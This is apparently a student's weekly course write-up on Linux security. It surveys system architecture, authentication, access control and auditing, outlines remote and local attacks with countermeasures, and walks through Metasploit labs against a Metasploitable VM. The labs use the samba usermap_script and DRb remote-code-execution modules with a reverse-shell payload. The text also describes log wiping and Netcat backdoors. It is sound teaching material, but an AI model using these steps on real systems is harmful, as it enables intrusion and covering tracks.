20199314 2019-2020-2 《网络攻防实践》第8周作业
20199314 2019-2020-2 《网络攻防实践》第8周作业
Linux操作系统攻防
1. Linux操作系统基本框架概述
1.1 Linux操作系统发展与现状
-
Linux从unix操作系统中演化而来
-
Linux在服务器、安全敏感部门、移动终端市场占据重要地位。
Linux操作系统优势
- 开源、免费
- 跨平台的硬件支持
- 丰富的软件支持
- 多用户多任务
- 可靠的安全性
- 良好的稳定性
- 完善的网络功能
1.2 Linux的系统结构
1.2.1 Linux的系统结构内核的总体结构
-
典型的宏内核结构
-
硬件抽象层包含各类设备驱动程序
-
在硬件抽像层之上是内核服务功能模块(包括进程管理、内存管理、文件系统、设备控制与网络这五个子系)
-
通过系统调用接口向用户态的GNU运行库及工具、命令行Shell、X窗口以及应用软件提供服务
Linux进程与线程管理机制
-
Linux内核采用抢占式多用户多进程(multiprocessing)模式,多个进程并发活动。
-
由内核的进程管理模块来负责调度硬件资源进行使用,进程作为最基本的调度单元,维护一个进程控制块(PCB)结构,由内校schedule进程调度函数来依据进程优先级和CPU等资源情况来选择进程进行执行。
Linux的内存管理机制
-
Linux内存管理模块(MM)允许多个进程安全地共享物理内存区域。
-
通过对地址范围的划分,规定用户态和内核态可以访问的内存地址。
-
如果要访问内核空间,必须通过系统调用或者中断。内存管理模块为进程提供内存分配、内存回收、请求分页和取换页等系统调用服务。
Linux的文件系统管理机制
-
Linux内核使用了虚拟文件管理VFS(VirtualFileSystem)机制,从而使得它能够支持数十种不同类型的硬件文件系统。
-
而VFS虚拟文件管理为用户进程提供了一组通用的文件系统调用函数(包括open、close、read、write等),可以对不同文件系统中的文件进行统一的操作。
Linux系统的设备处理机制
-
Linux内核中处理或者管理硬件控制器的软件叫做设备驱动程序。
-
Linux核心的设备驱动程序本质上是特权的、驻留内存的低级的硬件控制例程的共享库。
Linux的网络机制
-
Linux内核中的网络模块提供了对各种网络标准的存取和各种网络硬件的支持。
-
网络接口可分为网络协议栈和网络驱动程序。
Linux的系统调用机制
-
Linux内核模块都运行在CPU的核心态,而应用程序则运行于用户态,它们并不能直接访问内核内存空间,也不能直接调用内核函数。
-
Linux提供了系统调用接口,来允许应用程序透过这层接口来访问硬件设备和其他系统资源,这有助于保证Linux系统的稳定可靠和安全。
2. Linux操作系统安全机制
Linux操作系统的核心安全机制也主要是身份认证、授权与访问控制、安全审计这三个部分。
2.1 Linux身份认证机制
Linux用户
-
Root根用户
在系统中是唯一的拥有至高无上权限的超级用户,可以操作系统中任何的文件与命令。 -
普通用户
由使用者创建的登录系统并执行基本计算任务的用户,只能操作自己目录中的内容,执行权限受限。 -
系统用户
这类用户不具有登录系统的能力,但却是系统运行不可缺少的用户,比如用于启动网络服务的daemon、apache等用户,以及匿名访问的nobody、tftp等用户。
linux用户组
Linux用户组(Group)其实就是具有相同特征的用户账号集合,让多个用户具有相同的权限,比如查看、修改某一文件或执行某个命令。
Linux的本地登陆用户认证机制
Linux系统最基本的用户认证机制即是对用户在控制台登录的认证过程,基本流程是:
-
由init进程启动getty产生若干个虚拟控制台(如ty1,tty2等)。
-
在控制台上显示登录,当用户敲入用户时,getty执行登录(login)进程,进入登录认证过程。
-
认证成功后,登录进程会fork相应用户Shell的子进程,至此完成登录过程,用户可以在对应的Shell下开始工作。
Linux的远程登陆用户认证机制
目前Linux系统普遍使用SSH服务来进行远程用户登录与网络访问,
SSH提供两种方式的用户身份认证机制:
-
第一种方式为基于口令的身份认证,使用Linux系统内建的用户账号和口令,就可以登录到远程主机上。
-
第二种方式为域于非对称密钥的身份认证,需要用户为自己创建一对非对称密钥,并把公钥放置到需要访问的服务器上。
Linux的统一身份认证中间件-PAM
- PAM(PluggableAuthenticationModules:可插入身份认证模块。
- PAM通过提供一些动态链接库和一套统一的API,将系统提供的服务和该服务的认证方式分开,使得系统管理员可以灵活地根据需要,给不同的服务配置不同的认证方式。
2.2 Linux授权与访问控制机制
在Linux的虚拟文件系统安全模型中,主要通过文件所有者、文件访问权限和一些特殊权限位来进行系统的授权与访问控制。
- 文件的所有者(ownership)
每个Linux文件都拥有其所有者,表明了该文件属于哪个用户所有,以文件所有者的uid以及文件所有者所在组的gid来指明。
- 文件的访问权限(accessrights)
文件的访问权限通过所附带的10个标志位来进行设置,第1个标志位一般用来区分文件类型,第2一10这9个标志位字每3个一组分为3组,分别表示文件所有者、与所有者同组用户以及其他用户对该文件的读、写、执行权限,读、写、执行权限的含义如下。
- 文件的特殊执行权限
在Linux系统文件访问权限的执行位上,有一类特殊的执行权限,或被秘为“特权“常见的是SUID与SGID权限。 SUID权限允许可执行文件在运行时刻从运行者的身份提升至文件所有者权限,SGID位的程序执行时是以所有者的组的权限进行运行,该程序就可以任意存取整个用户组能够使用的系统资源。
- Linux访问机制的不足及改进
无法做到更细粒度的权限控制, 并不符合POSIX可移植操作系统接口标准对系统访问控制机制的要求。POSIX ACLs for Linux内核补了软件包能够帮助Linux内核实现ACL权限管理。
2.3 Linux安全审计机制
Linux的安全审计机制则主要通过三个主要的日志子系统来实现,连接时间日志、进程统计日志和错误日志纪录。
- 连接时间日志
由多个程序执行,把记求写入到/Var/log/wtmp和/Var/run/utmp,login等用户登录程序负责更新wtmp和utmp文件,使系统管理员能够跟踪谁在何时登录到系统。
- 进程统计日志
由系统内核执行,当一个进程终止时,为每个进程往进程统计文件(pacct或acct)中写一个纪录。进程统计的目的是为系统中的基本服务提供命令使用统计。
- 错误日志记录
由通用的日志记录服务syslogd(8)执行,各种系统守护进程、用户程序和内核通过syslog向文件/varylog/messages报告值得注意的事件。
3 Linux系统远程攻防技术
从远程网络上侵入Linux系统的主要方法在目前来说,不外乎如下四种:
-
对Linux系统各种网络服务的身份认证过程所涉及的用户口令字进行猜测攻击,期望破解出某一服务真实有效的用户账户和口令,从而假冒该用户的身份进入系统。
-
发掘Linux系统某个监听网络服务的安全漏洞并进行利用,在改击目标服务进程中注入攻击负载模块代码进行执行,从而为攻击者提供本地Shell的访问权。
-
通过网页木马、发送欺诈邮件、提供特洛伊木马程序等技术和社会工程学手段,来攻击客户端程序和用户,由客户端软件或用户来安装和执行恶意程序,从而主动向攻击者打开Linux系统的大门。
-
在Linux系统作为连接多个网络的路由器,或者打开“混杂模式”实施网络嗅探的监听器时,可能遭受攻击者特意构造的数据包攻击,从而被攻击者取得访问权。
3.1 远程口令字猜测攻击
互联网所面临的攻陷系统最普遍的攻击模式: 针对SSH、telnet、FTP、HTTP等服务的口令猜测攻击。
远程口令字猜测工具: Brutus、THC Hydra、Cain and Abel等。
防范措施:
-
确保每个用户都有自己的有效账户和口令字。
-
对于特权账户应避免直接远程登录,而只能在本地登录。
-
对多次认证失败进行记录,并在多次无效登录之后断掉连接。
-
口令长度应至少达到8个字符,并包含字母、数字和标点符号。
-
不要在自己可登录的每个系统上都使用相同的口令字。
-
最好根本不用口令字,而使用基于公开密钥证书的身份认证机制。
-
在非标准端口上运行容易遮受远程口令猜测攻击的服务。
-
使用一些口令猜测攻击检测与防御软件。
-
使用Linux防火墙IPTables来限制SSH等易受远程口令猜测攻击网络服务的访问源IP地址范围,来阻止非授权网络地址来访问这些服务。
3.2 网络服务远程渗透攻击
系统远程渗透最重要的攻击渠道一一对监听网络服务安全漏洞的渗透利用。
攻击渠道:
-
Linux内核中的网络协议栈
-
LAMP WEB网站构建解决方案中的网络服务
-
FTP、Samba等文件共享服务
-
电子邮件收发服务
-
其他网络服务的攻击
防范措施:
-
禁用不必要的网络服务
-
尽量选择更安全的网络协议和服务软件,并使用最佳安全实践进行部署
-
及时更新网络服务版本
-
使用xinetd防火墙为Linux网络服务添加网络访问控制
-
建立入侵检测与应急响应计划流程
3.3 攻击Linux客户端程序和用户
-
攻击Linux平台上的客户端程序
-
攻击Linux系统用户
防范措施:
-
保持网络客户端软件的及时更新
-
了解社会工程学,提高自己抗欺骗能力
-
在下载软件的时候会MD5的真实性和完整性进行校验再运行
3.4 攻击linux路由器和监听器
-
攻击linux路由器与防火墙
-
攻击监听器和入侵检测器
防范措施:
-
建立安全对抗和博弈意识
-
及时修补安全问题
-
站在攻击者角度,掌握攻击者的渗透入侵技术手段
4. Linux系统本地安全攻防技术
4.1 Linux本地特权提升
特权提升途径:
-
破解Root用户的口令、然后执行su或sudo命令进行提升。
-
发掘su和sudo程序中的安全漏洞。
-
攻击用户态SUID特权提升漏洞和攻击Linux内核代码特权提升漏洞。
防范措施:
-
关注软件是否创建SUID特权程序,评估其带来的风险。
-
及时进行特权代码和内核的升级以修补本地特权安全漏洞。
-
安全地配置系统,避免引入诸如敏感位置全局可写文件等不安全的配
置。 -
在Linux服务器中应用SELinux等安全增强模块。
4.2 Linux系统上的消踪灭迹
日志清理步骤:
-
首先改变当前活动的日志,查看/etc/syslog.conf配置文件内容,来了解系统当前正在实施的审计事件类型以及日志的存储位置。
-
/varylog目录下攻击者往往需要改动messages、auth、secure、wtmp和xferlog等日志文件。
-
攻击者还需要清理的是自己在Shell程序中所输入的命令历史记录。
防范措施:
-
将日志信息写到难以修改的媒介上。
-
把关键日志信息发送到安全日志服务器上。
4.3 Linux系统远程控制后门程序
Linux系统上植入远程控制后门程序的类型主要有:特洛伊木马化的系统程序、命令行后门工具以及图形化后门工具。
- 特洛伊木马化程序攻击
攻击者可以将这些原有的系统程序rogin、SSH等进行替换,使其具有某些后门功能,比如始终接受攻击者所配置的账户进行登录
- 命令行后门工具
远程命令行Shell的访问,通常是使用Netcat等后门工具在系统上运行,开放监听一个TCP端口,在接收到请求之后返回一个Linux系统Shell与客户端进行交互。
- Linux上的图形化后门程序
Linux上的图形化后门程序并没有Windows上那么多样化,攻击者最为常用的是著名的图形化远程控制免费软件VNC。
5. 实践1--使用Metaploit进行Linux远程渗透攻击
任务:
实验环境:
攻击机: kali IP:192.168.200.3
靶机metasploitable-linux IP:192.168.200.125
步骤:
-
首先,在kali中通过sudo su提升管理员权限,输入命令msfconsole启动渗透软件。
-
输入命令use exploit/multi/samba/usermap_script使用渗透攻击模块。
-
输入set PLAYLOAD cmd/unix/reverse设置攻击的PAYLOAD为反向连接。
4.输入set rhost 192.168.200.125 设置靶机地址192.168.200.125,输入exploit / 或者run开始攻击。
5.执行uname -a,whoami命令,显示靶机操作系统信息和用户权限信息。(奇怪的是run命令虽然也可以以执行,但是没有shell窗口显示,实际是有的)。
6. 实践2--攻防对抗实践
- 首先输入nmap -sV 192.168.200.125扫描靶机,查看开放的端口。
2.在网上找到Druby 远程代码执行漏洞,参考博客https://blog.csdn.net/weixin_43486390/article/details/103465801
3.利用模块: exploit/linux/misc/drb_remote_codeexec,端口: 8787,先搜索一下这个漏洞,披露日期为2011年3月23日,日期已经算找的几个漏洞中新一点的了。
4.输入use exploit/linux/misc/drb_remote_codeexec。
5.输入 set RHOST 192.168.200.125,设置靶机ip,输入show options查看设置参数。
- 输入指令exploit开启攻击,直接输入shell,可以发现已经打开了shell窗口。
7.由下图第一次握手协议红圈可以看出源ip为192.168.200.3,目的ip192.168.200.125,由蓝圈可以看出端口号,分别为56168和8787。攻击发起时间从第一次握手协议开始。
- 在nmap -sV 192.168.200.125 -p8787,对 Metasploitable 的 8787 端口进行扫描。 可以看到 8787 端口处于开放状态,并且运行着 Ruby DRb RMI 版本,利用drb服务漏洞,其版本为 1.8 版。
9.由于我实在输入exploit之前打开的wirshark,因此shellcode应该在之前的几次tcp连接中有所体现,从图中蓝圈可以看出源ip传送了一段python代码,应该就是shellcode。
- 在kali输入本地执行代码,并在wireshark中追踪tcp流查看,可以看到本地执行的id和uname -a命令。
7. 学习中遇到的问题及解决
问题1: msfconsole中run命令虽然也可以以执行,但是没有shell窗口显示。
问题1解决方法:输入shell可以或者直接替换成exploit命令可以显示shell窗口。
问题2:利用nmap扫描端口部分端口识别不出来如8787端口。
问题2解决办法:端口处于占用状态。一旦数据发送或者接受完成,端口就自动关闭。在这个时间段内,即使扫描工具刚好向这个端口发送数据包,也不会收到响应包。只有Web、文件共享这类服务才会长期开启端口,启用监听状态后,才会对发送到该端口的包进行响应。可以输入nmap -sV 192.168.200.125 -p8787,扫描特定8787端口。
8. 实践总结
本次实践和上周windows系统所用漏洞工具类似,漏洞不同,整体过程相对于上周还是顺利一点的。只不过一看时间,又是一个下午。